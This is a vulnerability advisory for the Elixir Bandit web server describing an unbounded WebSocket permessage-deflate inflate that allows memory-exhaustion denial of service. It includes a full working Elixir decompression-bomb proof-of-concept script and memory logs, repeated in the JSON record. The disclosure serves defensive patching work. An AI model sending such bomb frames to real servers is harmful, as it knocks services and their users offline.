GHSA-FRH3-6PV6-RC8J
Vulnerability from github – Published: 2026-05-07 03:36 – Updated: 2026-05-07 03:36Summary
When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.
Details
In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.
websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.
The bug is gated by two server-side flags being true at the same time:
- Bandit's global
websocket_options.compress(defaults totrueperbandit.ex:198-201). - The per-upgrade
connection_opts.compresspassed toWebSockAdapter.upgrade/4(defaults tofalseperwebsock_adapter.ex:42-43; Phoenix's default is alsofalseperphoenix/lib/phoenix/transports/websocket.ex:33).
Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).
Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.
PoC
A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.
Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):
- Frame on the wire: ~6 MiB.
- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by
IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning
@target_decompressed_bytesupward, or opening N parallel connections, OOM-kills the BEAM outright.
A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.
Impact
Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.
Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.
# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"},
{:websock_adapter, "~> 0.5"}
])
defmodule EchoSocket do
@behaviour WebSock
def init(_opts), do: {:ok, %{}}
def handle_in(_message, state), do: {:ok, state}
def handle_info(_message, state), do: {:ok, state}
def terminate(_reason, state), do: {:ok, state}
end
defmodule DemoApp do
@behaviour Plug
def init(opts), do: opts
def call(conn, _opts) do
conn
|> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
|> Plug.Conn.halt()
end
end
defmodule Bomb do
@port 4321
# 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
@target_decompressed_bytes 6 * 1024 * 1024 * 1024
@plaintext_chunk_bytes 10 * 1024 * 1024
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = ws_handshake!()
deflate_payload = build_deflate_bomb()
frame = compressed_text_frame(deflate_payload)
sampler_pid = spawn_link(&sample_memory_loop/0)
log("Sending #{byte_size(frame)}-byte compressed frame…")
:ok = :gen_tcp.send(sock, frame)
handle_recv(sock)
Process.unlink(sampler_pid)
Process.exit(sampler_pid, :kill)
:gen_tcp.close(sock)
log("Done.")
end
# Open a TCP connection and complete the WebSocket handshake with
# permessage-deflate. Raises if the server doesn't negotiate it.
defp ws_handshake! do
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()
:ok =
:gen_tcp.send(sock, """
GET / HTTP/1.1\r
Host: 127.0.0.1\r
Upgrade: websocket\r
Connection: Upgrade\r
Sec-WebSocket-Key: #{ws_key}\r
Sec-WebSocket-Version: 13\r
Sec-WebSocket-Extensions: permessage-deflate\r
\r
""")
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
log("Handshake complete.")
sock
end
# Stream-deflate @target_decompressed_bytes worth of zeros so the client
# never holds the full plaintext at once. RFC 7692 uses raw deflate
# (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
# we strip per the spec.
defp build_deflate_bomb do
chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")
zstream = :zlib.open()
:ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
final_flush = :zlib.deflate(zstream, <<>>, :sync)
:zlib.close(zstream)
deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
trailer_size = byte_size(deflated) - 4
<<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated
log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
payload
end
# Wrap payload in a single masked WebSocket text frame with RSV1 set
# (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
defp compressed_text_frame(payload) do
mask = :crypto.strong_rand_bytes(4)
payload_size = byte_size(payload)
mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
masked_payload = :crypto.exor(payload, mask_stream)
length_bytes =
cond do
payload_size <= 125 -> <<1::1, payload_size::7>>
payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
true -> <<1::1, 127::7, payload_size::64>>
end
<<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
end
# EchoSocket.handle_in/2 doesn't reply, so recv times out after the
# observation window. That's enough to watch the BEAM heap spike.
defp handle_recv(sock) do
case :gen_tcp.recv(sock, 0, 5_000) do
{:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")
{:ok, bytes} ->
log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")
{:error, :timeout} ->
log("recv timed out (server held the inflated payload silently).")
{:error, reason} ->
log("Connection closed: #{inspect(reason)}")
end
end
defp sample_memory_loop do
log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
Process.sleep(250)
sample_memory_loop()
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
Bomb.run()
Logs
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.8"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39804"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:36:13Z",
"nvd_published_at": "2026-05-01T21:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit\u0027s inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default \u2014 they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process\u0027s heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit\u0027s global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix\u0027s default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC\u0027d.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit\u0027s documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection \u2014 no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected \u2014 both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit\u0027s documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n {:bandit, \"~\u003e 1.10\"},\n {:plug, \"~\u003e 1.19\"},\n {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n @behaviour WebSock\n\n def init(_opts), do: {:ok, %{}}\n def handle_in(_message, state), do: {:ok, state}\n def handle_info(_message, state), do: {:ok, state}\n def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n @behaviour Plug\n def init(opts), do: opts\n def call(conn, _opts) do\n conn\n |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n |\u003e Plug.Conn.halt()\n end\nend\n\ndefmodule Bomb do\n @port 4321\n # 6 GiB inflated -\u003e ~6 MiB compressed (well under the ~8 MiB wire cap).\n @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n @plaintext_chunk_bytes 10 * 1024 * 1024\n\n def run do\n {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n sock = ws_handshake!()\n deflate_payload = build_deflate_bomb()\n frame = compressed_text_frame(deflate_payload)\n\n sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n log(\"Sending #{byte_size(frame)}-byte compressed frame\u2026\")\n :ok = :gen_tcp.send(sock, frame)\n handle_recv(sock)\n\n Process.unlink(sampler_pid)\n Process.exit(sampler_pid, :kill)\n :gen_tcp.close(sock)\n log(\"Done.\")\n end\n\n # Open a TCP connection and complete the WebSocket handshake with\n # permessage-deflate. Raises if the server doesn\u0027t negotiate it.\n defp ws_handshake! do\n {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n :ok =\n :gen_tcp.send(sock, \"\"\"\n GET / HTTP/1.1\\r\n Host: 127.0.0.1\\r\n Upgrade: websocket\\r\n Connection: Upgrade\\r\n Sec-WebSocket-Key: #{ws_key}\\r\n Sec-WebSocket-Version: 13\\r\n Sec-WebSocket-Extensions: permessage-deflate\\r\n \\r\n \"\"\")\n\n {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n log(\"Handshake complete.\")\n sock\n end\n\n # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n # never holds the full plaintext at once. RFC 7692 uses raw deflate\n # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n # we strip per the spec.\n defp build_deflate_bomb do\n chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @plaintext_chunk_bytes)\n chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext\u2026\")\n\n zstream = :zlib.open()\n :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n deflated_chunks = Enum.map(1..chunk_count, fn _ -\u003e :zlib.deflate(zstream, chunk, :none) end)\n final_flush = :zlib.deflate(zstream, \u003c\u003c\u003e\u003e, :sync)\n :zlib.close(zstream)\n\n deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n trailer_size = byte_size(deflated) - 4\n \u003c\u003cpayload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF\u003e\u003e = deflated\n\n log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n payload\n end\n\n # Wrap payload in a single masked WebSocket text frame with RSV1 set\n # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n defp compressed_text_frame(payload) do\n mask = :crypto.strong_rand_bytes(4)\n payload_size = byte_size(payload)\n mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n masked_payload = :crypto.exor(payload, mask_stream)\n\n length_bytes =\n cond do\n payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n end\n\n \u003c\u003c1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n end\n\n # EchoSocket.handle_in/2 doesn\u0027t reply, so recv times out after the\n # observation window. That\u0027s enough to watch the BEAM heap spike.\n defp handle_recv(sock) do\n case :gen_tcp.recv(sock, 0, 5_000) do\n {:ok, \u003c\u003c0x88, _len, close_code::16, close_reason::binary\u003e\u003e} -\u003e\n log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n {:ok, bytes} -\u003e\n log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n {:error, :timeout} -\u003e\n log(\"recv timed out (server held the inflated payload silently).\")\n\n {:error, reason} -\u003e\n log(\"Connection closed: #{inspect(reason)}\")\n end\n end\n\n defp sample_memory_loop do\n log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n Process.sleep(250)\n sample_memory_loop()\n end\n\n defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext\u2026\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame\u2026\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```",
"id": "GHSA-frh3-6pv6-rc8j",
"modified": "2026-05-07T03:36:13Z",
"published": "2026-05-07T03:36:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39804"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-39804.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit\u0027s unbounded WebSocket inflate causes BEAM OOM with a single frame"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.